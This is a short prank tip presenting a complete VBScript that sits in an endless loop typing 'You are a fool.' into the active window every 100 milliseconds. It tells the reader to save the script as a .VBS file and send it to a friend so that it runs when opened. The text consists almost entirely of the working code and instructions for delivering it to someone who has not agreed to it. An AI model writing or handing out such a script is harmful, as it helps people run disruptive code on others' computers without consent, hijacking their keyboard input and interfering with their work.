H@ck Your Friend's Keyboard and Make Him Type "You are a fool" Simultaneously

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...